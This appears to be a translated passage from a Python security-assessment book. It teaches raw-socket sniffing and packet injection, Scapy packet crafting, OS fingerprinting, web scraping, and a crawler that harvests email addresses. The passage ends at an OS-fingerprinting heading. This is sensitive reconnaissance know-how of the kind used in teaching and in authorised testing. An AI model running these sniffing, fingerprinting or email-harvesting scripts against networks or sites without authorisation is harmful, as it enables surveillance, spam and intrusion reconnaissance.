像 TCP/IP 这样的协议的标头由内核或操作系统堆栈提供,但我们可以使用原始套接字为该协议提供自定义标头。原始套接字在 Linux 的本机套接字 API 中得到支持,但在 Windows 中不支持。尽管原始套接字在应用程序中很少使用,但在网络安全应用程序中广泛使用。

所有数据包都以相同的格式结构化,包括 IP 标头和可变长度的数据字段。首先是以太网标头,固定大小为 14 个字节,然后是 IP 标头(如果是 IP 数据包),或者 TCP 标头(如果是 TCP 数据包),根据以太网标头的最后两个字节指定的以太网类型:

原始套接字编程

在以太网标头中,前六个字节是目标主机,接着是六个字节的源主机。最后两个字节是以太网类型:

原始套接字编程

IP 标头长 20 个字节;前 12 个字节包括版本、IHL总长度标志等,接下来的四个字节表示源地址。最后四个字节是目标地址:

原始套接字编程

提示

有关 IP 数据包结构的更多详细信息,请访问www.freesoft.org/CIE/Course/Section3/7.htm

创建原始套接字

要使用 Python 创建原始套接字,应用程序必须在系统上具有根权限。以下示例创建了一个IPPROTO_RAW套接字,这是一个原始 IP 数据包:

import socket #Imported sockets module  

try: 
  #create an INET, raw socket  
  raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  
except socket.error as e:  
  print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
  sys.exit() 

创建raw套接字后,我们必须构造要发送的数据包。这些数据包类似于 C 语言中的结构,而在 Python 中不可用,因此我们必须使用 Python 的struct模块来按照先前指定的结构打包和解包数据包。

基本原始套接字嗅探器

最基本的raw套接字嗅探器如下:

import socket #Imported sockets module  

try:  
  #create an raw socket  
  raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))  
except socket.error, e:  
  print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
  sys.exit();  

while True:  
  packet = raw_socket.recvfrom(2048)  
  print packet 

像往常一样,在第一行导入了 socket 模块。稍后我们使用以下代码创建了一个套接字:

raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))

第一个参数表示数据包接口是PF_PACKET(Linux 特定,我们必须在 Windows 上使用 AF_INET),第二个参数指定它是原始套接字。第三个参数指示我们感兴趣的协议。值0x0800指定我们对 IP 协议感兴趣。之后,我们调用recvfrom方法以无限循环接收数据包:

while True:  
  packet = raw_socket.recvfrom(2048)  
  print packet 

现在我们可以解析packet,因为前 14 个字节是以太网头部,其中前 6 个字节是目标主机,接下来的 6 个字节是源主机。让我们重写无限循环并添加代码来解析以太网头部的目标主机和源主机。首先我们可以按如下方式去掉以太网头部:

ethernet_header = packet[0][0:14] 

然后我们可以使用struct解析和解包头部,如下所示:

eth_header = struct.unpack("!6s6s2s", ethernet_header) 

这将返回一个包含三个十六进制值的元组。我们可以使用binascii模块中的hexlify将其转换为十六进制值:

print "destination:" + binascii.hexlify(eth_header[0]) + " Source:" + binascii.hexlify(eth_header[1]) +  " Type:" + binascii.hexlify(eth_header[2] 

同样,我们可以获取 IP 头部,即数据包中的接下来 20 个字节。前 12 个字节包括版本、IHL、长度、标志等,我们对此不感兴趣,但接下来的 8 个字节是源 IP 地址和目标 IP 地址,如下所示:

ip_header = packet[0][14:34] 
ip_hdr = struct.unpack("!12s4s4s", ip_header) 
print "Source IP:" + socket.inet_ntoa(ip_hdr[1]) + " Destination IP:" + socket.inet_ntoa(ip_hdr[2])) 

最终脚本如下:

import socket #Imported sockets module  
import struct  
import binascii  

try:  
  #Create an raw socket  
  raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))  
except socket.error, e:  
  print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
  sys.exit();  

while True:  
  packet = raw_socket.recvfrom(2048)  
  ethernet_header = packet[0][0:14]  
  eth_header = struct.unpack("!6s6s2s", ethernet_header)  
  print "destination:" + binascii.hexlify(eth_header[0]) + " Source:" + binascii.hexlify(eth_header[1]) +  " Type:" + binascii.hexlify(eth_header[2])  
  ip_header = packet[0][14:34]  
  ip_hdr = struct.unpack("!12s4s4s", ip_header)  
  print "Source IP:" + socket.inet_ntoa(ip_hdr[1]) + " Destination IP:" + socket.inet_ntoa(ip_hdr[2]) 

这将输出网络卡的源和目标 MAC 地址,以及数据包的源和目标 IP。确保数据包接口设置正确。PF_PACKE是 Linux 特定的,我们必须在 Windows 上使用AF_INET。同样,我们可以解析 TCP 头部。

提示

有关struct模块的更多详细信息,请阅读docs.python.org/3/library/struct.html

原始套接字数据包注入

我们可以使用原始套接字发送自定义制作的数据包。与之前一样,我们可以使用 socket 模块创建原始套接字,如下所示:

import socket #Imported sockets module  

try:  
  #create an INET, raw socket  
  raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))  
except socket.error, e:  
  print ('Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1])  
  sys.exit() 

要注入数据包,我们需要将套接字绑定到一个接口:

raw_socket.bind(("wlan0", socket.htons(0x0800))) 

现在我们可以使用structpack方法创建以太网数据包,其中包含源地址、目标地址和以太网类型。此外,我们可以向数据包添加一些数据并发送它:

packet =  struct.pack("!6s6s2s", '\xb8v?\x8b\xf5\xfe', 'l\x19\x8f\xe1J\x8c', '\x08\x00') 
raw_socket.send(packet + "Hello") 

注入 IP 数据包的整个脚本如下:

import socket #Imported sockets module  
import struct  

try:  
  #Create an raw socket  
  raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))  
except socket.error as e:  
  print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
  sys.exit();  

raw_socket.bind(("wlan0", socket.htons(0x0800)))  
packet =  struct.pack("!6s6s2s", '\xb8v?\x8b\xf5\xfe', 'l\x19\x8f\xe1J\x8c', '\x08\x00')  
raw_socket.send(packet + "Hello")  

使用 Scapy 调查网络流量

在前面的部分中,我们使用原始套接字嗅探和注入数据包,其中我们必须自己进行解析、解码、创建和注入数据包。此外,原始套接字不兼容所有操作系统。有许多第三方库可以帮助我们处理数据包。Scapy 是一个非常强大的交互式数据包操作库和工具,它在所有这些库中脱颖而出。Scapy 为我们提供了不同级别的命令,从基本级别到高级级别,用于调查网络。我们可以在两种不同的模式下使用 Scapy:在终端窗口内交互式地使用,以及通过将其作为库导入到 Python 脚本中以编程方式使用。

让我们使用交互模式启动 Scapy。交互模式类似于 Python shell;要激活它,只需在终端中以 root 权限运行 Scapy:

 $ sudo scapy

这将返回一个交互式的 Scapy 终端:

使用 Scapy 调查网络流量

以下是一些交互式使用的基本命令:

  • ls(): 显示 Scapy 支持的所有协议

  • lsc(): 显示 Scapy 支持的命令列表

  • conf: 显示所有配置选项

  • help(): 显示特定命令的帮助信息,例如,help(sniff)

  • show(): 显示有关特定数据包的详细信息,例如,Newpacket.show()

Scapy 有助于基于其支持的大量协议创建自定义数据包。现在我们可以在交互式 Scapy shell 中使用 Scapy 创建简单的数据包:

>>> packet=IP(dst='google.com')
>>> packet.ttl=10

这将创建一个数据包;现在我们可以使用以下方法查看数据包:

>>> packet.show()

数据包的使用如下截图所示:

使用 Scapy 调查网络流量

Scapy 通过每个数据包中的层和每个层中的字段来创建和解析数据包。每个层都封装在父层内。Scapy 中的数据包是 Python 字典,因此每个数据包都是一组嵌套字典,每个层都是父层的子字典。summary()方法将提供数据包层的详细信息:

>>> packet[0].summary()
'Ether / IP / UDP 192.168.1.35:20084 > 117.206.55.151:43108 / Raw'

数据包的层结构可以通过括号的嵌套(<>)更好地看到:

>>> packet[0]
<Ether  dst=6c:19:8f:e1:4a:8c src=b8:76:3f:8b:f5:fe type=0x800 |<IP  version=4L ihl=5L tos=0x0 len=140 id=30417 flags=DF frag=0L ttl=64 proto=udp chksum=0x545f src=192.168.1.35 dst=117.206.55.151 options=[] |<UDP  sport=20084 dport=43108 len=120 chksum=0xd750 |<Raw  load='\x90\x87]{\xa1\x9c\xe7$4\x07\r\x7f\x10\x83\x84\xb5\x1d\xae\xa1\x9eWgX@\xf1\xab~?\x7f\x84x3\xee\x98\xca\xf1\xbdtu\x93P\x8f\xc9\xdf\xb70-D\x82\xf6I\xe0\x84\x0e\xcaH\xd0\xbd\xf7\xed\xf3y\x8e>\x11}\x84T\x05\x98\x02h|\xed\t\xb1\x85\x9f\x8a\xbc\xdd\x98\x07\x14\x10\no\x00\xda\xbf9\xd9\x8d\xecZ\x9a2\x93\x04CyG\x0c\xbd\xf2V\xc6<"\x82\x1e\xeb' |>>>>

我们可以通过名称或列表索引中的索引号深入特定层。例如,我们可以使用以下方法获取前面数据包的 UDP 层:

>>> packet[0]
.[UDP].summary()

或者您可以使用以下方法获取 UDP 层:

>>> packet[0]
.[2].summary()

使用 Scapy,我们可以解析每个层中字段的值。例如,我们可以使用以下方法获取以太网层中的源字段:

 >>> packet[0]
    [Ether].src

使用 Scapy 进行数据包嗅探

使用 Scapy,使用sniff方法sniff数据包非常简单。我们可以在 Scapy shell 中运行以下命令,在接口eth0sniff

>>>packet = sniff(iface="eth0", count=3)

这将从eth0接口获取三个数据包。使用hexdump(),我们可以以hex格式转储数据包:

使用 Scapy 进行数据包嗅探

sniff()方法的参数如下:

  • count:要捕获的数据包数量,但 0 表示无限

  • iface:嗅探的接口;仅在此接口上嗅探数据包

  • prn:在每个数据包上运行的函数

  • store:是否存储或丢弃嗅探到的数据包;当我们只需要监视时设置为 0

  • timeout:在给定时间后停止嗅探;默认值为 none

  • filter:采用 BPF 语法过滤器以过滤嗅探

如果我们想查看更多的数据包内容,show()方法很好。它将以更清晰的方式显示数据包,并产生格式化的打印输出,如下所示:

>>>packet[1].show()

此命令将产生以下输出:

使用 Scapy 进行数据包嗅探

要实时查看嗅探到的数据包,我们必须使用 lambda 函数,以及summary()show()方法:

 >>> packet=sniff(filter="icmp", iface="eth0″, count=3, prn=lambda x:x.summary())

此外,使用 Scapy 还可以将数据包写入pcap文件。要将数据包写入pcap文件,我们可以使用wrpcap()方法:

 >>>wrpcap("pkt-output.cap" packets)

这将把数据包写入pkt-output.cap文件。我们可以使用rdpcap()pcap文件中读取:

 >>> packets = rdpcap("pkt-output.cap")

使用 Scapy 进行数据包注入

在注入之前,我们必须创建一个伪造的数据包。使用 Scapy,如果我们知道数据包的分层结构,创建数据包非常简单。要创建 IP 数据包,我们使用以下语法:

 >>> packet = IP (dst="packtpub.com")

要向此数据包添加更多子层,我们只需添加以下内容:

 >>> packet = IP (dst="packtpub.com")/ICMP()/"Hello Packt"

这将创建一个具有 IP 层、ICMP层和原始有效载荷的数据包,如"Hello Packt"show()方法将显示此数据包如下:

>>> packet.show()
###[ IP ]###
 version= 4
 ihl= None
 tos= 0x0
 len= None
 id= 1
 flags= 
 frag= 0
 ttl= 64
 proto= icmp
 chksum= None
 src= 192.168.1.35
 dst= Net('packtpub.com')
 \options\
###[ ICMP ]###
 type= echo-request
 code= 0
 chksum= None
 id= 0x0
 seq= 0x0
###[ Raw ]###
 load= 'Hello world'

发送数据包有两种方法:

  • sendp(): 第二层发送;发送第二层数据包

  • send(): 第三层发送;仅发送第三层数据包,如 IPv4 和 Ipv6

发送命令的主要参数如下:

  • iface:发送数据包的接口

  • inter:两个数据包之间的时间(以秒为单位)

  • loop:设置为1以无限发送数据包

  • packet:数据包或数据包列表

如果我们使用的是第二层发送,我们必须添加一个以太网层并提供正确的接口来发送数据包。但是对于第三层,发送所有这些路由信息将由 Scapy 自己处理。因此,让我们使用第三层发送先前创建的数据包:

>>> send(packet)

我们可以使用另一个 Scapy 交互式终端来嗅探我们发送的数据包。输出将如下所示,第二个数据包是我们从packtpub.com收到的响应:

使用 Scapy 进行数据包注入

类似地,要发送第二层数据包,我们必须添加以太网标头和接口,如下所示:

 >>> sendp(Ether()/IP(dst="packtpub.com")/ICMP()/"Layer 2 packet", iface="eth0")

Scapy 发送和接收方法

这些方法用于在期望收到响应时发送数据包或一组数据包。有四种不同类型的发送和接收方法。它们如下:

  • sr(): 第三层发送和接收,返回答案和未答案数据包

  • sr1(): 第 3 层发送和接收,仅返回答案或已发送的数据包

  • srp(): 第 2 层发送和接收,返回答案和未答复的数据包

  • srp1(): 第 2 层发送和接收,仅返回答案或已发送的数据包

这些方法几乎与send()方法相似。要发送数据包并接收其响应,请使用以下命令:

>>> packet = IP (dst="packtpub.com")/ICMP()/"Hello Packt"
>>> sr(packet)
Begin emission:
.Finished to send 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

在等待响应时,Scapy 收到了三个数据包,并在收到响应时退出。如果我们使用sr1(),这将仅等待一个响应并打印响应数据包。同样,我们可以使用srp()srp1()方法发送第 2 层数据包。

使用 Scapy 进行编程

早些时候,我们在交互模式下使用了 Scapy。但在某些情况下,我们可能需要在脚本中使用 Scapy。如果在我们的程序中导入了 Scapy,Scapy 可以作为一个库来使用。我们可以按照以下方式导入所有 Scapy 函数:

from scapy.all import* 

或者,如果我们只需要一些功能,我们可以导入特定的包,如下所示:

from scapy.all Ether, IP, TCP, sr1 

例如,我们可以创建一个 DNS 请求。使用sr1()方法,我们可以创建并获取 DNS 请求的响应。由于 DNS 数据包是由 IP 和 UDP 数据包构建的,因此我们可以在其中创建一个包含 IP 和 UDP 层的 DNS 数据包:

from scapy.all import * #Import Scapy 
# Create a DNS request Packet to 8.8.8.8  
dns_packet = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="packtpub.com")) 

# Send packet and get the response 
dns_request = sr1(dns_packet,verbose=1) 
# Print the response 
print dns_request[DNS].summary() 

我们必须以 root 权限运行此脚本。如果 verbose 选项为1,输出将如下所示:

$ sudo python dns_scapy.py 
 WARNING: No route found for IPv6 destination :: (no default route?)
 Begin emission:
 Finished to send 1 packets
 Received 18 packets, got 1 answers, remaining 0 packets
 DNS Ans "83.166.169.231"

要解析 DNS 数据包,我们可以使用sniff()方法。sniff()中的prn参数可用于更改 Scapy 对每个数据包的输出。它有助于用我们自己的函数替换默认的 Scapy 打印输出,因此我们可以决定 Scapy 如何打印每个数据包的输出。在以下示例中,每次通过过滤器匹配数据包并使用 Scapy 进行嗅探时,我们都使用select_DNS()函数:

from scapy.all import * #Import Scapy 
from datetime import datetime 
interface = 'eth0' #Interface to sniff 
filter_bpf = 'udp and port 53' #BPF filter to filter udp packets in port 53 

#Runs this for each packet 
def select_DNS(packet): 
    packet_time = packet.sprintf('%sent.time%') 
    try: 
        if DNSQR in packet and packet.dport == 53: 
        #Print queries 
           print 'DNS queries Message from '+ packet[IP].src + '
           to ' + packet[IP].dst +' at ' + packet_time 

        elif DNSRR in packet and packet.sport == 53: 
        #Print responses 
           print 'DNS responses Message from '+ packet[IP].src + '
           to ' + packet[IP].dst +' at ' + packet_time 
    except: 
        pass 
#Sniff the packets  
sniff(iface=interface, filter=filter_bpf, store=0, prn=select_DNS) 

像往常一样,在前两行中导入了必要的模块 Scapy 和 datetime;稍后,我们声明了要嗅探的接口和使用伯克利数据包过滤器BPF)语法从端口53获取udp数据包的过滤器:

from scapy.all import * #Import Scapy 
from datetime import datetime 

interface = 'eth0' #Interface to sniff 
filter_bpf = 'udp and port 53' #BPF filter to filter udp packets in port 53 

然后我们声明了每次使用sniff()方法嗅探数据包时要调用的函数。这将修改sniff()中的默认打印摘要并提供自定义输出。在这里,它将检查 DNS 数据包并输出其源目的地和时间。prn参数用于将此函数绑定到sniff()方法:

def select_DNS(packet): 
    packet_time = packet.sprintf('%sent.time%') 
    try: 
        if DNSQR in packet and packet.dport == 53: 
        #Print queries 
           print 'DNS queries Message from '+ packet[IP].src + '
           to ' + packet[IP].dst +' at ' + packet_time 

        elif DNSRR in packet and packet.sport == 53: 
        #Print responses 
           print 'DNS responses Message from '+ packet[IP].src + '
           to ' + packet[IP].dst +' at ' + packet_time 
    except: 
        pass 

最后,我们将使用sniff()方法和select_DNS()函数作为prn参数进行调用。

sniff(iface=interface, filter=filter_bpf, store=0, prn=select_DNS) 

提示

有关伯克利数据包过滤器(BPF)语法的更多详细信息,请阅读biot.com/capstats/bpf.html

让我们来检查另一个操作系统指纹识别的示例;我们可以通过两种方法来实现:

  • Nmap 指纹识别

  • p0f

如果您的系统上安装了 Nmap,我们可以利用其主动 OS 指纹数据库与 Scapy 一起使用。确保签名数据库位于conf.nmap_base中指定的路径中。如果您使用默认安装目录,Scapy 将自动检测指纹文件。

我们可以使用以下命令加载nmap模块:

load_module("nmap") 

然后我们可以使用nmap_fp()函数开始对操作系统进行指纹识别。

nmap_fp("192.168.1.1",oport=443,cport=1) 

如果我们安装了p0f,我们可以使用它来识别操作系统。确保配置conf.p0f_base是正确的。我们可以从单个捕获的数据包中猜测操作系统,方法如下:

sniff(prn=prnp0f) 

提示

有关 Scapy 的更多详细信息,请阅读www.secdev.org/projects/scapy/doc/usage.html

总结

我们已经学习了使用各种 Python 模块进行数据包制作和嗅探的基础知识,并且发现 Scapy 非常强大且易于使用。到目前为止,我们已经学习了套接字编程和 Scapy 的基础知识。在我们的安全评估过程中,我们可能需要原始输出和对数据包拓扑的基本访问权限,以便我们可以自行分析和做出决策。Scapy 最吸引人的部分是可以将其导入并用于创建网络工具,而无需从头开始创建数据包。

我们将在下一章更详细地讨论使用 Python 进行应用指纹识别。

第三章:使用 Python 进行应用指纹识别

在 Web 应用程序安全评估期间的一个重要步骤是指纹识别。作为安全研究人员/渗透测试人员,我们必须精通指纹识别,这可以提供有关底层技术(如软件或框架版本、Web 服务器信息、操作系统等)的大量信息。这有助于我们发现影响应用程序和服务器的所有众所周知的漏洞。

在本章中,我们将涵盖以下主题:

  • 网络爬虫

  • 电子邮件收集

  • 操作系统指纹识别

  • EXIF 数据提取

  • 应用指纹识别

网络爬虫

尽管一些网站提供 API,但大多数网站主要设计供人类使用,只提供为人类格式化的 HTML 页面。如果我们想要程序从这样的网站获取一些数据,我们必须解析标记以获取所需的信息。网络爬虫是使用计算机程序分析网页并获取所需数据的方法。

有许多方法可以使用 Python 模块从网站获取内容:

  • 使用urllib/urllib2创建将获取网页的 HTTP 请求,并使用BeautifulSoup解析 HTML

  • 要解析整个网站,我们可以使用 Scrapy(scrapy.org),它有助于创建网络爬虫

  • 使用 requests 模块获取并使用 lxml 解析

urllib / urllib2 模块

Urllib 是一个高级模块,允许我们脚本化不同的服务,如 HTTP、HTTPS 和 FTP。

urllib/urllib2 的有用方法

Urllib/urllib2 提供了一些方法,可用于从 URL 获取资源,包括打开网页,编码参数,操作和创建标头等。我们可以按以下方式使用其中一些有用的方法:

  • 使用urlopen()打开网页。当我们将 URL 传递给urlopen()方法时,它将返回一个对象,我们可以使用read()属性以字符串格式从该对象获取数据,如下所示:
        import urllib 

        url = urllib.urlopen("http://packtpub.com/") 

        data = url.read() 

        print data 

  • 下一个方法是参数编码:urlencode()。它接受字段字典作为输入,并创建参数的 URL 编码字符串:
        import urllib 

        fields = { 
          'name' : 'Sean', 
          'email' : 'Sean@example.com' 
        } 

        parms = urllib.urlencode(fields) 
        print parms 

  • 另一种方法是使用参数发送请求,例如,使用 GET 请求:URL 是通过附加 URL 编码的参数来构建的:
        import urllib 
        fields = { 
          'name' : 'Sean', 
          'email' : 'Sean@example.com' 
        } 
        parms = urllib.urlencode(fields) 
        u = urllib.urlopen("http://example.com/login?"+parms) 
        data = u.read() 

        print data 

  • 使用 POST 请求方法,URL 编码的参数分别传递给方法urlopen()
        import urllib 
        fields = { 
          'name' : 'Sean', 
          'email' : 'Sean@example.com' 
        } 
        parms = urllib.urlencode(fields) 
        u = urllib.urlopen("http://example.com/login", parms) 
        data = u.read() 
        print data 

  • 如果我们使用响应头,那么可以使用info()方法检索 HTTP 响应头,它将返回类似字典的对象:
        u = urllib.urlopen("http://packtpub.com", parms) 
        response_headers = u.info() 
        print response_headers 

  • 输出如下:

urllib/urllib2 的有用方法

  • 我们还可以使用keys()来获取所有响应头键:
>>> print response_headers.keys() 
['via', 'x-country-code', 'age', 'expires', 'server',
        'connection', 'cache-control', 'date', 'content-type']

  • 我们可以按如下方式访问每个条目:
>>>print response_headers['server'] 
nginx/1.4.5 

注意

Urllib 不支持 cookies 和身份验证。它只支持 GET 和 POST 请求。Urllib2 是建立在 urllib 之上的,具有更多功能。

  • 我们可以使用 code 方法获取状态码:
        u = urllib.urlopen("http://packtpub.com", parms) 
        response_code = u.code 
        print response_code 

  • 我们可以使用urllib2修改请求头,如下所示:
        headers = { 
         'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
        rv:41.0) Gecko/20100101 Firefox/41.0' 
        }
        request = urllib2.Request("http://packtpub.com/",
         headers=headers)
        url = urllib2.urlopen(request)
        response = url.read()

  • 可以如下使用 cookies:
        fields = {  
        'name' : 'sean',  
        'password' : 'password!',  
        'login' : 'LogIn'  
        }  

        # Here we creates a custom opener with cookies enabled 
        opener = urllib2.build_opener(  
        urllib2.HTTPCookieProcessor()  
        )  

        # creates request 
        request = urllib2.Request(  
          "http://example.com/login",  
          urllib.urlencode(fields))  

        # Login request sending 
        url = opener.open(request)  
        response = url.read()  

        # Now we can access the private pages with the cookie  
        # got from the above login request 
        url = opener.open("http://example.com/dashboard")  
        response = url.read() 

请求模块

我们也可以使用 requests 模块而不是urllib/urllib2,这是一个更好的选择,因为它支持完全的 REST API,并且它只需将字典作为参数而不需要任何编码的参数:

import requests 
response = requests.get("http://packtpub.com", parms) 

# Response 
print response.status_code # Response Code   
print response.headers # Response Headers   
print response.content # Response Content 

# Request 
print response.request.headers # Headers we sent 

使用 BeautifulSoup 解析 HTML

前面的模块只能用于获取文件。如果我们想要解析通过urlopen获得的 HTML,我们必须使用BeautifulSoup模块。BeautifulSoup接受来自urlopen的原始 HTML 和 XML 文件,并从中提取数据。要运行解析器,我们必须创建一个解析器对象并提供一些数据。它将扫描数据并触发各种处理程序方法。Beautiful Soup 4 适用于 Python 2.6+和 Python 3。

以下是一些简单的示例:

  • 要使 HTML 格式化,使用以下代码:
         from bs4 import BeautifulSoup  

         parse = BeautifulSoup('<html><head><title>Title of the
         page</title></head><body><p id="para1" 
         align="center">This is a paragraph<b>one</b><a 
         href="http://example1.com">Example Link 1</a> </p><p 
         id="para2">This is a paragraph<b>two</b><a 
         href="http://example2.com">Example Link 2</a></p></body>
         </html>')  

         print parse.prettify()  

  • 输出如下:

使用 BeautifulSoup 解析 HTML

  • 使用BeautifulSoup导航 HTML 的一些示例方法如下:
parse.contents[0].name
>>> u'html'
parse.contents[0].contents[0].name
>>> u'head'
head = soup.contents[0].contents[0]
head.parent.name
>>> u'html'
head.next
>>> <title>Page title</title>
head.nextSibling.name
>>> u'body'
head.nextSibling.contents[0]
>>> <p id="para1" align="center">This is a 
        paragraph<b>one</b><a href="http://example1.com">Example 
        Link 1</a> </p>
head.nextSibling.contents[0].nextSibling
>>> <p id="para2">This is a paragraph<b>two</b><a 
        href="http://example2.com">Example Link 2</a></p> 

  • 搜索 HTML 标签和属性的一些方法如下:
parse.find_all('a')
>>> [<a href="http://example1.com">Example Link 1</a>, <a
        href="http://example2.com">Example Link 2</a>]
parse.find(id="para2")
>>> <p id="para2">This is a paragraph<b>two</b><a 
        href="http://example2.com">Example Link 2</a></p>

下载页面上的所有图像

现在我们可以编写一个脚本来下载页面上的所有图像,并将它们保存在特定位置:

# Importing required modules 
import requests   
from bs4 import BeautifulSoup   
import urlparse #urlparse is renamed to urllib.parse in Python  

# Get the page with the requests 
response = requests.get('http://www.freeimages.co.uk/galleries/food/breakfast/index.htm')   

# Parse the page with BeautifulSoup 
parse = BeautifulSoup(response.text) 

# Get all image tags 
image_tags = parse.find_all('img') 

# Get urls to the images 
images = [ url.get('src') for url in image_tags] 
# If no images found in the page 

if not images:   
    sys.exit("Found No Images") 
# Convert relative urls to absolute urls if any 
images = [urlparse.urljoin(response.url, url) for url in images]   
print 'Found %s images' % len(images) 

# Download images to downloaded folder 
for url in images:   
    r = requests.get(url) 
    f = open('downloaded/%s' % url.split('/')[-1], 'w') 
    f.write(r.content) 
    f.close() 
    print 'Downloaded %s' % url 

使用 lxml 解析 HTML

另一个强大、快速、灵活的解析器是 lxml 附带的 HTML 解析器。由于 lxml 是一个用于解析 XML 和 HTML 文档的广泛库,它可以处理过程中混乱的标签。

让我们从一个例子开始。

在这里,我们将使用 requests 模块检索网页并用 lxml 解析它:

#Importing modules 
from lxml import html 
import requests 

response = requests.get('http://packtpub.com/') 
tree = html.fromstring(response.content) 

现在整个 HTML 保存在tree中,以一种良好的树结构,我们可以用两种不同的方式来检查:XPath 或 CSS 选择。XPath 用于在结构化文档(如 HTML 或 XML)中导航元素和属性以查找信息。

我们可以使用任何页面检查工具,如 Firebug 或 Chrome 开发者工具,来获取元素的 XPath:

使用 lxml 解析 HTML

如果我们想要从列表中获取书名和价格,找到源代码中的以下部分。

<div class="book-block-title" itemprop="name">Book 1</div> 

从中我们可以创建 Xpath 如下:

#Create the list of Books: 

books = tree.xpath('//div[@class="book-block-title"]/text()') 

然后我们可以使用以下代码打印列表:

print books 

注意

lxml.de上了解更多关于 lxml 的信息。

Scrapy

Scrapy 是一个用于网页抓取和爬取的开源框架。这可以用来解析整个网站。作为一个框架,它有助于为特定需求构建蜘蛛。除了 Scrapy,我们还可以使用 mechanize 编写可以填写和提交表单的脚本。

我们可以利用 Scrapy 的命令行界面来为新的爬虫脚本创建基本样板。Scrapy 可以通过pip安装。

要创建一个新的蜘蛛,我们必须在安装 Scrapy 后在终端中运行以下命令:

 $ scrapy startproject testSpider

这将在当前工作目录testSpider中生成一个项目文件夹。这也将在文件夹内创建一个基本结构和文件,用于我们的 spider:

Scrapy

Scrapy 有 CLI 命令来创建一个蜘蛛。要创建一个蜘蛛,我们必须输入startproject命令生成的文件夹:

 $ cd testSpider

然后我们必须输入生成蜘蛛命令:

 $ scrapy genspider pactpub pactpub.com

这将生成另一个名为spiders的文件夹,并在该文件夹内创建所需的文件。然后,文件夹结构将如下所示:

Scrapy

现在打开items.py文件,并在子类中定义一个新项目,名为TestspiderItem

from scrapy.item import Item, Field 
class TestspiderItem(Item): 
    # define the fields for your item here: 
    book = Field() 

大部分爬取逻辑都是由 Scrapy 在spider文件夹内的pactpub类中提供的,所以我们可以扩展这个来编写我们的spider。为了做到这一点,我们必须编辑 spider 文件夹中的pactpub.py文件。

pactpub.py文件中,首先我们导入所需的模块:

from scrapy.spiders import Spider 
from scrapy.selector import Selector 
from pprint import pprint 
from testSpider.items import TestspiderItem 

然后,我们必须扩展 Scrapy 的 spider 类,以定义我们的pactpubSpider类。在这里,我们可以定义域和爬取的初始 URL:

# Extend  Spider Class 
class PactpubSpider(Spider): 
    name = "pactpub" 
    allowed_domains = ["pactpub.com"] 
    start_urls = ( 
        'https://www.pactpub.com/all', 
    ) 

之后,我们必须定义解析方法,它将创建我们在items.py文件中定义的TestspiderItem()的一个实例,并将其分配给项目变量。

然后我们可以添加要提取的项目,可以使用 XPATH 或 CSS 样式选择器。

在这里,我们使用 XPATH 选择器:

    # Define parse 
    def parse(self, response): 
        res = Selector(response) 
        items = [] 
        for sel in res.xpath('//div[@class="book-block"]'): 
            item = TestspiderItem() 
            item['book'] = sel.xpath('//div[@class="book-block-title"]/text()').extract() 
            items.append(item) 
        return items 

现在我们准备运行spider。我们可以使用以下命令运行它:

 $ scrapy crawl pactpub --output results.json

这将使用我们定义的 URL 启动 Scrapy,并且爬取的 URL 将传递给testspiderItems,并为每个项目创建一个新实例。

电子邮件收集

使用之前讨论的 Python 模块,我们可以从网页中收集电子邮件和其他信息。

要从网站获取电子邮件 ID,我们可能需要编写定制的抓取脚本。

在这里,我们讨论了一种从网页中提取电子邮件的常见方法。

让我们通过一个例子。在这里,我们使用BeautifulSoup和 requests 模块:

# Importing Modules  
from bs4 import BeautifulSoup 
import requests 
import requests.exceptions 
import urlparse 
from collections import deque 
import re 

接下来,我们将提供要爬取的 URL 列表:

# List of urls to be crawled 
urls = deque(['https://www.packtpub.com/']) 

接下来,我们将处理过的 URL 存储在一个集合中,以便不重复处理它们:

# URLs that we have already crawled 
scraped_urls = set() 

收集的电子邮件也存储在一个集合中:

# Crawled emails 
emails = set() 

当我们开始抓取时,我们将从队列中获取一个 URL 并处理它,并将其添加到已处理的 URL 中。此外,我们将一直这样做,直到队列为空为止:

# Scrape urls one by one queue is empty 
while len(urls): 
    # move next url from the queue to the set of Scraped urls 
    url = urls.popleft() 
    scrapped_urls.add(url) 

使用urlparse模块,我们将获得基本 URL。这将用于将相对链接转换为绝对链接:

    # Get  base url 
    parts = urlparse.urlsplit(url) 
    base_url = "{0.scheme}://{0.netloc}".format(parts) 
    path = url[:url.rfind('/')+1] if '/' in parts.path else url 

URL 的内容将在 try-catch 中可用。如果出现错误,它将转到下一个 URL:

    # get url's content 
    print("Scraping %s" % url) 
    try: 
        response = requests.get(url) 
    except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): 
        # ignore  errors 
        continue 

在响应中,我们将搜索电子邮件并将找到的电子邮件添加到电子邮件集合中:

    # Search e-mail addresses and add them into the output set 
    new_emails = set(re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.I)) 
    emails.update(new_emails) 

在抓取页面后,我们将获取所有链接到其他页面的链接并更新 URL 队列:

    # find and process all the anchors 
    for anchor in soup.find_all("a"): 
        # extract link url 
        link = anchor.attrs["href"] if "href" in anchor.attrs else '' 
        # resolve relative links 
        if link.startswith('/'): 
            link = base_url + link 
        elif not link.startswith('http'): 
            link = path + link 
        # add the new url to the queue 

        if not link in urls and not link in scraped_urls: 
            urls.append(link) 

OS 指纹识别

